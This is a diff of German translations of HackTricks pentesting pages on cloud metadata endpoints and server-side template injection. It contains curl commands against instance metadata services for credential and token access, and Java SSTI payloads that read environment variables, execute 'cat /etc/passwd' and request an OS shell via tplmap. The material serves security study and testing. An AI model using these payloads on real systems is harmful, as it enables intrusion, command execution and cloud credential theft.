@ -316,7 +343,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch und findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es noch heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
Finde die wichtigsten Sicherheitslücken, damit du sie schneller beheben kannst. Intruder verfolgt deine Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in deinem gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probiere es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -324,7 +351,7 @@ Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben k
|
|||
|
||||
## Azure <a href="#cea8" id="cea8"></a>
|
||||
|
||||
### Azure-VM
|
||||
### Azure VM
|
||||
|
||||
[**Dokumentation** hier](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
|
@ -378,9 +405,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
Aus der **env** können Sie die Werte von `IDENTITY_HEADER` _und_ `IDENTITY_ENDPOINT` erhalten. Diese können Sie verwenden, um einen Token zum Sprechen mit dem Metadatenserver zu sammeln.
|
||||
Aus der **env** können Sie die Werte von `IDENTITY_HEADER` _und_ `IDENTITY_ENDPOINT` erhalten. Diese können Sie verwenden, um ein Token zum Sprechen mit dem Metadatenserver zu sammeln.
|
||||
|
||||
In den meisten Fällen benötigen Sie einen Token für eine dieser Ressourcen:
|
||||
Meistens benötigen Sie ein Token für eine dieser Ressourcen:
|
||||
|
||||
* [https://storage.azure.com](https://storage.azure.com/)
|
||||
* [https://vault.azure.net](https://vault.azure.net/)
|
||||
|
@ -457,7 +484,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass in IBM standardmäßig Metadaten deaktiviert sind. Es ist daher möglich, dass Sie auch dann keinen Zugriff darauf haben, wenn Sie sich innerhalb einer IBM Cloud-VM befinden.
|
||||
Beachten Sie, dass in IBM standardmäßig Metadaten deaktiviert sind. Es ist also möglich, dass Sie auch dann nicht darauf zugreifen können, wenn Sie sich innerhalb einer IBM Cloud-VM befinden.
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -486,75 +513,80 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Die Dokumentation für die Metadatendienste verschiedener Plattformen ist unten aufgeführt und zeigt die Methoden, mit denen Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte für den Zugriff auf ihre Metadatendienste.
|
||||
Die Dokumentation für die Metadatendienste verschiedener Plattformen ist unten aufgeführt und hebt die Methoden hervor, über die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte für den Zugriff auf ihre Metadatendienste.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
Um auf die Metadaten von Packetcloud zuzugreifen, finden Sie die Dokumentation unter:
|
||||
[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
Für den Zugriff auf die Metadaten von Packetcloud finden Sie die Dokumentation unter: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
Die Notwendigkeit eines Headers wird nicht erwähnt. Metadaten können über folgende Adresse abgerufen werden:
|
||||
- `http://169.254.169.254/openstack`
|
||||
Die Notwendigkeit eines Headers wird nicht erwähnt. Metadaten können über folgende URLs abgerufen werden:
|
||||
|
||||
* `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
Auch hier wird die Notwendigkeit eines Headers nicht erwähnt. Metadaten sind unter folgender Adresse zugänglich:
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
Auch hier wird die Notwendigkeit eines Headers nicht erwähnt. Metadaten sind unter folgender URL abrufbar:
|
||||
|
||||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloud bietet eine Reihe von Endpunkten zum Abrufen verschiedener Metadatenaspekte:
|
||||
- `http://192.0.0.192/latest/`
|
||||
- `http://192.0.0.192/latest/user-data/`
|
||||
- `http://192.0.0.192/latest/meta-data/`
|
||||
- `http://192.0.0.192/latest/attributes/`
|
||||
Oracle Cloud bietet eine Reihe von Endpunkten für den Zugriff auf verschiedene Metadatenaspekte:
|
||||
|
||||
* `http://192.0.0.192/latest/`
|
||||
* `http://192.0.0.192/latest/user-data/`
|
||||
* `http://192.0.0.192/latest/meta-data/`
|
||||
* `http://192.0.0.192/latest/attributes/`
|
||||
|
||||
## Alibaba
|
||||
|
||||
Alibaba bietet Endpunkte zum Abrufen von Metadaten, einschließlich Instanz- und Image-IDs:
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
- `http://100.100.100.200/latest/meta-data/image-id`
|
||||
Alibaba bietet Endpunkte zum Abrufen von Metadaten, einschließlich Instanz- und Bild-IDs:
|
||||
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
* `http://100.100.100.200/latest/meta-data/image-id`
|
||||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCD kann API-Schlüssel, interne IP-Adressen und Ports speichern. Der Zugriff erfolgt über:
|
||||
- `curl -L http://127.0.0.1:2379/version`
|
||||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
Docker-Metadaten können lokal abgerufen werden. Es werden Beispiele für den Abruf von Container- und Image-Informationen gegeben:
|
||||
- Einfaches Beispiel zum Abrufen von Metadaten für Container und Images über den Docker-Socket:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- Innerhalb des Containers verwenden Sie curl mit dem Docker-Socket:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
Docker-Metadaten können lokal abgerufen werden, wobei Beispiele für die Abfrage von Container- und Bildinformationen gegeben werden:
|
||||
|
||||
* Einfaches Beispiel zum Abrufen von Container- und Bildmetadaten über den Docker-Socket:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* Innerhalb des Containers verwenden Sie curl mit dem Docker-Socket:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
## Rancher
|
||||
|
||||
Die Metadaten von Rancher können über folgenden Befehl abgerufen werden:
|
||||
- `curl http://rancher-metadata/<version>/<path>`
|
||||
Die Metadaten von Rancher können über folgende URL abgerufen werden:
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder überwacht Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch und findet Probleme in Ihrer gesamten Technologieinfrastruktur, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es noch heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder überwacht Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in Ihrem gesamten Technologiestapel, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,54 +1,55 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
# SSTI (Serverseitige Template-Injektion)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **dem Ziel, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
|
||||
[**RootedCON**](https://www.rootedcon.com) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Was ist SSTI (Server-Side Template Injection)
|
||||
## Was ist SSTI (Serverseitige Template-Injektion)
|
||||
|
||||
Server-seitige Template-Injection ist eine Sicherheitslücke, die auftritt, wenn ein Angreifer bösartigen Code in ein Template einschleusen kann, das auf dem Server ausgeführt wird. Diese Sicherheitslücke kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
|
||||
Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, das auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
|
||||
|
||||
Jinja ist ein beliebter Template-Engine, der in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Codeausschnitt mit Jinja demonstriert:
|
||||
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Code-Schnipsel unter Verwendung von Jinja demonstriert:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Im folgenden anfälligen Code wird der `name`-Parameter aus der Anfrage des Benutzers direkt in die Vorlage mit der `render`-Funktion übergeben. Dadurch besteht potenziell die Möglichkeit, dass ein Angreifer bösartigen Code in den `name`-Parameter einschleust, was zu einer serverseitigen Template-Injection führen kann.
|
||||
Im verwundbaren Code wird der `name`-Parameter aus der Benutzeranfrage direkt in die Vorlage mit der `render`-Funktion übergeben. Dies könnte einem Angreifer potenziell ermöglichen, bösartigen Code in den `name`-Parameter einzufügen, was zu einer serverseitigen Vorlageninjektion führen kann.
|
||||
|
||||
Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Die Payload `{{bad-stuff-here}}` wird in den Parameter `name` eingefügt. Diese Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren und so möglicherweise die Kontrolle über den Server zu erlangen.
|
||||
Die Nutzlast `{{bad-stuff-here}}` wird in den `name`-Parameter eingefügt. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
|
||||
|
||||
Um Schwachstellen bei der serverseitigen Template-Injektion zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung einer Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu verringern.
|
||||
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Vorlagen eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu mindern.
|
||||
|
||||
### Erkennung
|
||||
Um Serverseitige Template-Injektion (SSTI) zu erkennen, ist zunächst das **Fuzzing des Templates** ein einfacher Ansatz. Dabei wird eine Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template injiziert und die Unterschiede in der Serverantwort zwischen regulären Daten und dieser speziellen Payload analysiert. Anzeichen für eine Schwachstelle sind:
|
||||
- Geworfene Fehler, die die Schwachstelle und möglicherweise die Template-Engine offenlegen.
|
||||
- Fehlen der Payload in der Reflektion oder Teile davon, was darauf hindeutet, dass der Server sie anders als reguläre Daten verarbeitet.
|
||||
|
||||
- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z.B. `{{7*7}}`, `${7*7}`).
|
||||
Um Server-seitige Template-Injection (SSTI) zu erkennen, ist das **Fuzzing des Templates** zunächst ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:
|
||||
|
||||
- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern von Eingabeparametern. Zum Beispiel das Ändern von `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie z.B. `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
|
||||
- Geworfene Fehler, die die Schwachstelle und möglicherweise den Template-Engine offenlegen.
|
||||
- Fehlen der Nutzlast im Reflektieren oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
|
||||
- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`).
|
||||
- **Code-Kontext**: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Ändern Sie beispielsweise `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie bei `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
|
||||
|
||||
#### Identifikationsphase
|
||||
Die Identifizierung der Template-Engine erfolgt durch Analyse von Fehlermeldungen oder manuelles Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind `${7/0}`, `{{7/0}}` und `<%= 7/0 %>`. Durch Beobachtung der Serverantwort auf mathematische Operationen lässt sich die spezifische Template-Engine genau bestimmen.
|
||||
|
||||
Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind `${7/0}`, `{{7/0}}` und `<%= 7/0 %>`. Die Beobachtung der Antwort des Servers auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.
|
||||
|
||||
## Tools
|
||||
|
||||
|
@ -60,85 +61,35 @@ tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
|||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
```
|
||||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||||
|
||||
SSTImap ist ein Tool, das für die Erkennung und Ausnutzung von Server-seitigen Template-Injection (SSTI) Schwachstellen entwickelt wurde. Es ermöglicht Penetrationstestern und Sicherheitsforschern, SSTI-Schwachstellen in Webanwendungen zu identifizieren und auszunutzen.
|
||||
|
||||
#### Funktionalitäten
|
||||
|
||||
- **SSTI-Erkennung**: SSTImap kann automatisch nach SSTI-Schwachstellen in einer Webanwendung suchen. Es verwendet verschiedene Techniken, um potenzielle SSTI-Schwachstellen zu identifizieren, einschließlich der Überprüfung von Benutzereingaben und der Analyse von Fehlermeldungen.
|
||||
|
||||
- **Exploit-Generierung**: Sobald eine SSTI-Schwachstelle erkannt wurde, kann SSTImap automatisch Exploits generieren, um die Schwachstelle auszunutzen. Es unterstützt verschiedene Template-Engines wie Jinja2, Twig, Smarty und andere.
|
||||
|
||||
- **Payload-Injection**: SSTImap ermöglicht es Benutzern, benutzerdefinierte Payloads in die Webanwendung einzufügen, um die SSTI-Schwachstelle zu testen. Dies ermöglicht es, verschiedene Angriffsszenarien zu simulieren und die Auswirkungen der Schwachstelle zu überprüfen.
|
||||
|
||||
- **Erweiterte Berichterstattung**: SSTImap generiert detaillierte Berichte über die gefundenen SSTI-Schwachstellen. Diese Berichte enthalten Informationen über die Schwachstelle, den Exploit und mögliche Auswirkungen auf die Webanwendung.
|
||||
|
||||
#### Installation
|
||||
|
||||
Um SSTImap zu installieren, folgen Sie den Anweisungen im [GitHub-Repository](https://github.com/vladko312/sstimap). Das Tool ist in Python geschrieben und kann auf den meisten Betriebssystemen ausgeführt werden.
|
||||
|
||||
#### Verwendung
|
||||
|
||||
Nach der Installation können Sie SSTImap mit dem Befehl `sstimap` ausführen. Das Tool bietet verschiedene Optionen und Parameter, um die SSTI-Erkennung und -Ausnutzung anzupassen. Weitere Informationen zur Verwendung finden Sie in der [Dokumentation](https://github.com/vladko312/sstimap/wiki).
|
||||
|
||||
#### Hinweis
|
||||
|
||||
SSTImap ist ein leistungsstarkes Werkzeug, das nur zu legitimen Zwecken verwendet werden sollte. Das Ausnutzen von SSTI-Schwachstellen ohne Zustimmung des Eigentümers der Webanwendung ist illegal und kann zu rechtlichen Konsequenzen führen. Stellen Sie sicher, dass Sie die erforderlichen Berechtigungen haben, bevor Sie SSTImap verwenden.
|
||||
```bash
|
||||
python3 sstimap.py -i -l 5
|
||||
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
|
||||
python3 sstimap.py -u 'https://example.com/page?name=John' -s
|
||||
```
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
|
||||
Tplmap ist ein Werkzeug zum Erkennen und Ausnutzen von Server-seitigen Template-Injection-Schwachstellen (SSTI). Es unterstützt verschiedene Template-Engines und ermöglicht es Ihnen, potenziell anfällige Stellen in einer Webanwendung zu identifizieren und auszunutzen.
|
||||
|
||||
#### Installation
|
||||
|
||||
Sie können Tplmap von [hier](https://github.com/epinna/tplmap) herunterladen und installieren.
|
||||
|
||||
#### Verwendung
|
||||
|
||||
Um Tplmap zu verwenden, geben Sie den Befehl `tplmap` gefolgt von der Ziel-URL ein. Das Tool wird dann versuchen, SSTI-Schwachstellen in der Webanwendung zu erkennen und auszunutzen.
|
||||
|
||||
```bash
|
||||
tplmap -u <Ziel-URL>
|
||||
```
|
||||
|
||||
#### Beispiel
|
||||
|
||||
Hier ist ein Beispiel für die Verwendung von Tplmap:
|
||||
|
||||
```bash
|
||||
tplmap -u http://example.com/page?param={{7*7}}
|
||||
```
|
||||
|
||||
In diesem Beispiel wird Tplmap versuchen, die SSTI-Schwachstelle in der URL `http://example.com/page?param={{7*7}}` zu erkennen und auszunutzen, indem es den Ausdruck `{{7*7}}` als Template-Injection-Payload verwendet.
|
||||
|
||||
#### Weitere Informationen
|
||||
|
||||
Weitere Informationen zur Verwendung von Tplmap finden Sie in der [offiziellen Dokumentation](https://github.com/epinna/tplmap).
|
||||
Tplmap ist ein Tool zum Erkennen und Ausnutzen von Server-seitigen Template-Injections (SSTI).
|
||||
```python
|
||||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Template Injection-Tabelle](https://github.com/Hackmanit/template-injection-table)
|
||||
### [Vorlageinjektionstabelle](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
eine interaktive Tabelle mit den effizientesten Template-Injection-Polyglots sowie den erwarteten Antworten der 44 wichtigsten Template-Engines.
|
||||
eine interaktive Tabelle, die die effizientesten Vorlageinjektions-Polyglots zusammen mit den erwarteten Antworten der 44 wichtigsten Vorlagen-Engines enthält.
|
||||
|
||||
## Exploits
|
||||
|
||||
### Generisch
|
||||
|
||||
In dieser **Wortliste** finden Sie **definierte Variablen** in den Umgebungen einiger der unten genannten Engines:
|
||||
In dieser **Wortliste** finden Sie **Variablen, die in den Umgebungen einiger der unten genannten Engines definiert sind**:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
|
||||
### Java
|
||||
|
||||
**Java - Grundlegende Injection**
|
||||
**Java - Grundlegende Injektion**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
|
@ -148,58 +99,10 @@ ${class.getResource("../../../../../index.htm").getContent()}
|
|||
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
||||
```
|
||||
**Java - Abrufen der Umgebungsvariablen des Systems**
|
||||
|
||||
In Java können Sie die Umgebungsvariablen des Systems mithilfe der `System.getenv()`-Methode abrufen. Diese Methode gibt ein `Map`-Objekt zurück, das die Namen und Werte der Umgebungsvariablen enthält.
|
||||
|
||||
```java
|
||||
import java.util.Map;
|
||||
|
||||
public class EnvironmentVariables {
|
||||
public static void main(String[] args) {
|
||||
Map<String, String> env = System.getenv();
|
||||
for (String key : env.keySet()) {
|
||||
String value = env.get(key);
|
||||
System.out.println(key + " = " + value);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Dieses Beispiel zeigt, wie Sie alle Umgebungsvariablen auf der Konsole ausgeben können. Sie können jedoch auch gezielt nach einer bestimmten Umgebungsvariable suchen, indem Sie den entsprechenden Schlüssel verwenden.
|
||||
|
||||
Bitte beachten Sie, dass das Abrufen der Umgebungsvariablen des Systems in einigen Umgebungen, insbesondere in Cloud- oder SaaS-Plattformen, eingeschränkt sein kann.
|
||||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**Java - Abrufen von /etc/passwd**
|
||||
|
||||
Serverseitige Template-Injection (SSTI) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, schädlichen Code in eine Vorlagendatei einzufügen und diesen Code auf dem Server auszuführen. In diesem Beispiel zeigen wir, wie man mit Java den Inhalt der Datei /etc/passwd abrufen kann.
|
||||
|
||||
```java
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
|
||||
public class SSTIExample {
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
String command = "cat /etc/passwd";
|
||||
Process process = Runtime.getRuntime().exec(command);
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
System.out.println(line);
|
||||
}
|
||||
reader.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Dieses Java-Programm verwendet die `Runtime.getRuntime().exec()`-Methode, um den Befehl `cat /etc/passwd` auszuführen und den Inhalt der Datei /etc/passwd abzurufen. Der Inhalt wird dann Zeile für Zeile ausgegeben.
|
||||
|
||||
Es ist wichtig zu beachten, dass SSTI eine Sicherheitslücke ist und nicht für illegale Aktivitäten verwendet werden sollte. Es ist wichtig, dass Sie nur autorisierte Systeme und Anwendungen testen und die Zustimmung des Eigentümers haben, bevor Sie solche Techniken anwenden.
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -207,12 +110,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
|||
```
|
||||
### FreeMarker (Java)
|
||||
|
||||
